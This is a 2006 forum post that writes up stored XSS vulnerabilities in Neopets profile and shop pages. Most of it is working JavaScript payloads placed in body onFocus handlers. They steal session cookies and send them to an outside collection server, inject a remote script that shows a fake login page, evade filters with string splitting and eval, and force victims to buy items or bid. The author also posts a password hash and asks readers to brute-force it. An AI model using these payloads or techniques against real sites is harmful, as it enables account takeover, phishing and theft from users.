[EDIT3]The XSS hole utilised in the 2 advisories is now blocked, and more counter measures have been taken, but at the time of this writing (4th Feb 2006) it is still possible to circumvent them and I have posted some more up to date info in post number 12 of this thread, so yeah...the only things still valid in these advisories are the exploits themselves (though they do have to be tweaked a bit, so read the 12th post before getting fustrated)[/EDIT3]
Hi guys,
This is just a write up of several vulnerabilities I found in Neopets a while ago, hope someone likes/enjoys it....
-----DISCLAIMER-----
Some of these vulnerabilities are still unpatched (and if my experiences are anything to go by) will probably stay unpatched for a while, so use at your own risk, I take no responsibility for anything you decide to use this information for, it is simply here for educational purposes
-----DISCLAIMER-----
Well, this all started late last year when I still liked Neopets.com (yes, its a scary though), and I had recently read about Gmail having some kind of XSS exploit, and had decided to go learn something about XSS. Most of their stuff seemed relatively secure, except for some random features which would simply exploit code to gain an advantage, they wouldn't do anything in obtaining other users' accounts, or doing anything similar. Anyway after a bit more poking around I realised, while the shop and user profile pages were both vulnerable to you placing code in the onFocus/Blur events, my preference would be to place it in a body tag like so:
<body onFocus="//javascript goes here">Because it seems like (I'm not 100% sure that it does, but it acts as if it did, at least in Firefox) this would overwrite the onFocus/Blur events for the actual body tag.
Anyway, now that I had an entry point I could do so much it was just silly.
Anyway, after one of my ideas [1] somehow got leaked [2], and started getting widely used neopets implemented some security. The security they implemented was that for all purchases/auction bids there was a hidden field named _ref_ck inserted into the forms, the value is an md5 hash which changes every session, I'm into exactly sure of what it hashes, but if anyone wants to brute one [3] for me I'd be interested. Now the biggest weakness with this security measure is that; that same code is also kept in the shop pages, and so an XSS exploit could still easily make a user bid all their NP on an auction.
From this point I wrote several exploits (which I'll include at the end if I can find them [4]), but did nothing with them, since I'm not malicious (no, really).
And I left things as they were for about 8 months [5] until August this year, when i went back to check if the vulnerabilities were still were, and what a guess: they were. So I decided to send my scripts (well, the remains of them anyway, see the beginning of [4]) with the recommended fix that they should use preg_match() to check if any on* events were being included, and then simply remove ALL user input if it matches anything to the admin at a neopets fan site, who promptly got in touch with neopets, but in true bumbling bureaucracy style they didn't contact me for a few weeks, and failed to implement my fix.
Anyway, I didn't play the site so i didn't overly care, but I did go there to see what measures they has taken. One thing that I think they didn't realise was actually quite annoying was they implemented a function which changed all plus signs (+) to the HTML equivalent for a symbol that looks like a plus sign (†). Now this could have a posed a small problem if it was the only way to concatenate strings, but luckily in Javascript you can use array.join(delimiter) and string.concat(string), I preferred the array.join('') method, but hey to each his/her own. So I proceed to myself I could still subvert the security and left it there, until one fun day.....
I'd told one of my friends I know from real life about the holes I'd discovered and the scripts I;d written, and him being a techie like me wanted to have a look, and soon he wrote a basic exploit along the lines of my one in '[4]' which stole cookies, and we had a major breakthrough. Up to this point we had no idea about most of the data in the cookie ('cos I really hadn't cared to look), but we did know that there was some kind of IP check or something going on since cookies from computer wouldn't work on another in exactly the same browser environment. Now what my friend found was an huge vulnerability in the actual application they stored md5 hashes in the 'toolbar' cookies (it wasn't just the md5, it was 'username+C+md5hash' and the '+C+' is part of the cookie string. Can everyone see where we're going with this? Good, I'm glad,
Now I could leave it there, but since we completely redid a few scripts, one of which I thought was rather excellent (well I wrote it so I'm allowed to be conceited,
Anyway here is a description of the separate attacks I built:
1. Rather simple it had a div which loaded before any javascript, in case it was turned off, and took up the entire screen with white, and then the javascript tried to redirect to another URL which would steal the cookie, and then that page would send a Location header to redirect the user's browser to the neopets home page.
Note: All code after v1 above sent the username/petname/(and maybe NP, but I think i removed that) along with the cookie data.
2. An attempt to make stuff more clean. I tried to write my own cookie for when a password hash had already been stolen, and then check the cookie, to decrease load on the collection server. This is the one that got scrapped. The actual attack was similar to v4 on this list.
3. This idea I thought was rather neat, what I did was I wrote some code which would document.write() a javascript tag with an src attribute to a js file on our server, the js file would then print out a false login page, in a place where one could be expected. I also passed the username/petname along to the script so that the script would actually be a PHP script which would include the correct username/pet name, and pet picture so it would look identical.
4. This was probably my best idea. Since neopets has ads at the top of the page, I decided to change the SRC attribute of the ads to our collection page with the cookie data as a variable. Completely invisible to the user, my friend still preferred method 1 because in method 1 a user is effectively unable to buy anything from the shop, stingy bastard,
5. I have been planning to do this for ages, but it seemed like too much effort when I could just get people's password hashes. The netops site is vulnerable to the $_SERVER['PHP_SELF'] problem, but it has magic_quotes_gpc enabled, the quotes simply make stuff harder, but it is still possible. Anyway, I saw the Sammy myspace worm, and wanted to write one myself, but yeah, cbf since they check referers on the submission page, and the referer is incorrect because of our injection. If anyone actually wants to write this (for education purposes only!,
Anyway, thats about all i have to say here's some (I say only some because you don't want all the separate versions I wrote, ugh, I doubt anyone would want to look at those) of the code:
1:
<div style="position:fixed;
_position:absolute;
top:0; _top:expression(0);
bottom:0;
_height:expression(1000);
right:0;
_width: expression(800);
left:0;
background:#FFFFFF;
z-index: 99;"> </div><body onFocus="function gc () {var a = Array (1);a[0] = 'coo';a[1] = 'kie';var b = a.join('');c = document;url = '****.*********.***/get.php?cookies=';location.href = (url.concat(c[b]));}if (navigator.appName != 'MSIE') {gc();}" onBlur = "gc();" onKeyDown="gc();" onKeyUp="gc();">2: (Note: I'm not even sure if this works, this is just from my files):
<body onFocus="function setCookie(name, value, expires, path, domain, secure) {
var curCookie = name.concat("=").concat(escape(value)).concat(((expires) ? "; expires=" + expires.toGMTString() : "")).concat(((path) ? "; path=" + path : "")).concat(((domain) ? "; domain=" + domain : "")).concat(((secure) ? "; secure" : ""));
document.cookie = document.cookie.concat (curCookie);
}
function getCookie(name) {
var dc = document.cookie;
var prefix = name.concat ("=");
var begin = dc.indexOf("; " + prefix);
if (begin == -1) {
begin = dc.indexOf(prefix);
if (begin != 0) return null;
} else
begin += 2;
var end = document.cookie.indexOf(";", begin);
if (end == -1)
end = dc.length;
return unescape(dc.substring(begin + prefix.length, end));
}
function fixDate(date) {
var base = new Date(0);
var skew = base.getTime();
if (skew > 0)
date.setTime(date.getTime() - skew);
}
function gc () {
var a = Array (1);
a[0] = 'coo';
a[1] = 'kie';
var b = a.join('');
c = document;
url = 'http://****.*********.***/get.php?cookies=';
var now = new Date();
fixDate(now);
now.setTime(now.getTime() + 365 * 24 * 60 * 60 * 1000);
var xz = getCookie("_-xzst");
if (!xz) {
setCookie("_-xzst", "done", now);
location.href = (url.concat(c[b]));
} else {
setCookie("_-xzst", "done", now);
var as = document.getElementsByTagName ('A');for (l=0;l<as.length;l++) {
var tmp = as[l].href.split ("neopets.com/");
var page = tmp[count(tmp)-1];
var page = page.split ("?");
page = page[0];
if (page== 'neopoints.phtml') {
var np = as[l].text;
np = np.replace (',', '');
}elseif (as[l].href == 'quickref.phtml') {
var pet = as[l].text;
}elseif (as[l].href == 'randomfriend.phtml') {
var user = as[l].text;
}
}
}
var print = '<script sr';
var url = http://****.*********.***/js.js?'
url = url.concat ('np=');
url = url.concat (np);
url = url.concat ('&pet=');
url = url.concat (pet);
url = url.concat ('&user=');
url = url.concat (user);
print = print.concat ('c=');
print = print.concat(url);
print = print.concat ('>');
document.write (print);
}
}
if (navigator.appName != 'MSIE') {
gc();
}" onBlur = "gc();" onKeyDown="gc();" onKeyUp="gc();">3:
<body onFocus="function ad (x) { var c; var b = new Array (4); b[0] = 'c = String.'; b[1] = 'fromCha'; b[2] = 'rCode ('; b[3] = x; b[4] = ');'; eval (b.join('')); return c;} function pp (x) { var a = new Array(2); var d; a[0] = 'd = x'; a[1] = ad(43); a[2] = '1;'; eval (a.join('')); return d;} var c = document; var use = 'nul'; var np = 'nul'; var as = c.getElementsByTagName ('A');for (l=0;l<as.length;l=pp(l)) { var tmp = as[l].href.split ('neopets.com/'); var page = tmp[tmp.length-1]; var page = page.split ('?'); page = page[0]; if ((page== 'objects.phtml')&&(np == 'nul')) { var np = as[l].text; np = np.replace (',', ''); } if (page == 'quickref.phtml') { var pet = as[l].text; } if ((page == 'randomfriend.phtml')&&(user == 'nul')) { var user = as[l].text; } } var url = 'http://****.*********.***/js.js?'; url = url.concat ('np='); url = url.concat (np); url = url.concat ('&pet='); url = url.concat (pet); url = url.concat ('&user='); url = url.concat (user); document.write (url);">3.2: (I'm not sure how it differs to 3, I'll have a look a bit later, but yeah I'm just pasting code in here that *should* work...)
<body onfocus="
function pp (x) {
var a = new Array(2);
var b = new Array(2);
b[0] = 'from';
b[1] = 'Char';
b[2] = 'Code';
b = b.join('');
var d = String;
a[0] = 'e = x ';
a[1] = d[b](43);
a[2] = ' 1';
eval (a.join(''));
return e;
}
c = document;
f = new Array(1);
f[0] = 'inner';
f[1] = 'HTML';
f = f.join('');
var as = c.getElementsByTagName ('A');
var name = 'null';
for (l=0;l<as.length;l=pp(l)) {
var tmp = as[l].href.split('neopets.com/');
var page = tmp[tmp.length-1];
var page = page.split ('?');
page = page[0];
if (page == 'quickref.phtml') {
var pet = as[l][f];
}
if (page == 'randomfriend.phtml' && name=='null') {
var name = as[l][f];
}
}
var a = '<scrip';
var a = a.concat('t s');
var a = a.concat('rc=http://****.****');
var a = a.concat('**.***/****-*/******/j'); //its asterisked out 'cos I don't like giving my/my friends' details away
var a = a.concat('s1.j');
var a = a.concat('s?name=');
var a = a.concat(name);
var a = a.concat('&pet=');
var a = a.concat(pet);
var a = a.concat('></scr');
var a = a.concat('ipt>');
var d = new Array(1);
d[0] = 'wri';
d[1] = 'te';
var e = d.join('');
c[e](a);
c.close();
">4:
<body onFocus=" function gc() { var a = 'http://****.*********.***/get.php?cookies='; var b = 'cookie'; var c = document; var d = 'sr'; d = d.concat('c'); var as = c.getElementsByTagName ('IMG'); as[0][d] = a.concat(c[b]);} gc();" onBlur="gc();" onKeyDown="gc();" onKeyUp="gc();">----------------
[1] At this point neopets still had either register_globals turned on, and they were using variables inside the global scope instead of using $_POST, or they were using $_REQUEST instead of $_POST. So it was possible to create a link which would make a person bid any amount of NP (NeoPoints) on any auction which the link creator specified.
[2] I told only people I thought I could trust, so I must have been mistaken about the trust.
[3] I just got this one about 2 minutes ago, from one of the random accounts me and my friend made while testing the later parts: 89f715498d2751c53cc42ac37609c5d5 if anyone is willing to brute a few tell me and I'll send you some lists, maybe we can find out a bit more.....
[4] Never, _ever_ let any of your 'friends' try and upgrade your OS at a LAN party, bad, bad idea, I lost most of my stuff that day..... Note: all the code posted under '[4]' is old code that you will need to take new security measures into account.
Ok, I found a few, here's one which will force a user to buy an item on your shop page depending on how much money you have:
<body onFocus="var test = 'sr'+'c';
var a = document.getElementsByTagName('A');
for (i=0;i<a.length;i++) {
var imgs = a[i].getElementsByTagName('IMG');
if (imgs[0]) {
if (imgs[0][test] == 'http://images.neopets.com/items/tiki_rock.gif'){
var rock = i;
}
if (imgs[0][test] == 'http://images.neopets.com/items/tiki_boat.gif'){
var boat = i;
}
if (imgs[0][test] == 'http://images.neopets.com/items/blackmound.gif'){
var sludge = i;
}
if (imgs[0][test] == 'http://images.neopets.com/items/tombola_tikishirt.gif'){
var tiki = i;
}
}
}
var as = document.getElementsByTagName ('A');for (l=0;l<as.length;l++) { if (as[l].href == 'http://www.neopets.com/neopoints.phtml') { var np = as[l].text; np = np.replace (',', ''); }}
if (np>99998) {
document.location = as[rock].href;
} else if (np>79999) {
document.location = as[boat].href;
} else if (np>69999) {
document.location = as[tiki].href;
} else if (np>39999) {
document.location = as[sludge].href;
} else {
document.location = 'http://www.neopets.com/winter/adventcalendar.phtml';
}">The simplest hack, it just stole users' cookies:
<body onFocus="var test = 'c'+'ookie';document.location = 'http://free.host'+'ultra.com/~[removed my account name]/test.php?okie='+document[test];">Note: even at this piont they had some minor security, so you had to create variables because some words neopets wouldn't allow you to print, and some hosts were banned from being written,
This one is the basics of the Auction idea before the security code was introduced:
<body onFocus="var as = document.getElementsByTagName ('A');for (i=0;i!==as.length;i++) { if (as[i].href == document.domain+'/neopoints.phtml') { var np = as[i].text; np = np.replace (',', ''); document.location = 'http://free.hos'+'tultra.com/auct.php?np='+np; }}">[5] Not exactly true, but they woldn't reply to my e-mails - I sent 2 -, and I wasn't going to try overly much to make their site secure now was I?
[EDIT]: P.S. Any feedback would be appreciated seeing as I've never written anything like this before.....
Edited by kuza55, 04 February 2006 - 01:20 AM.












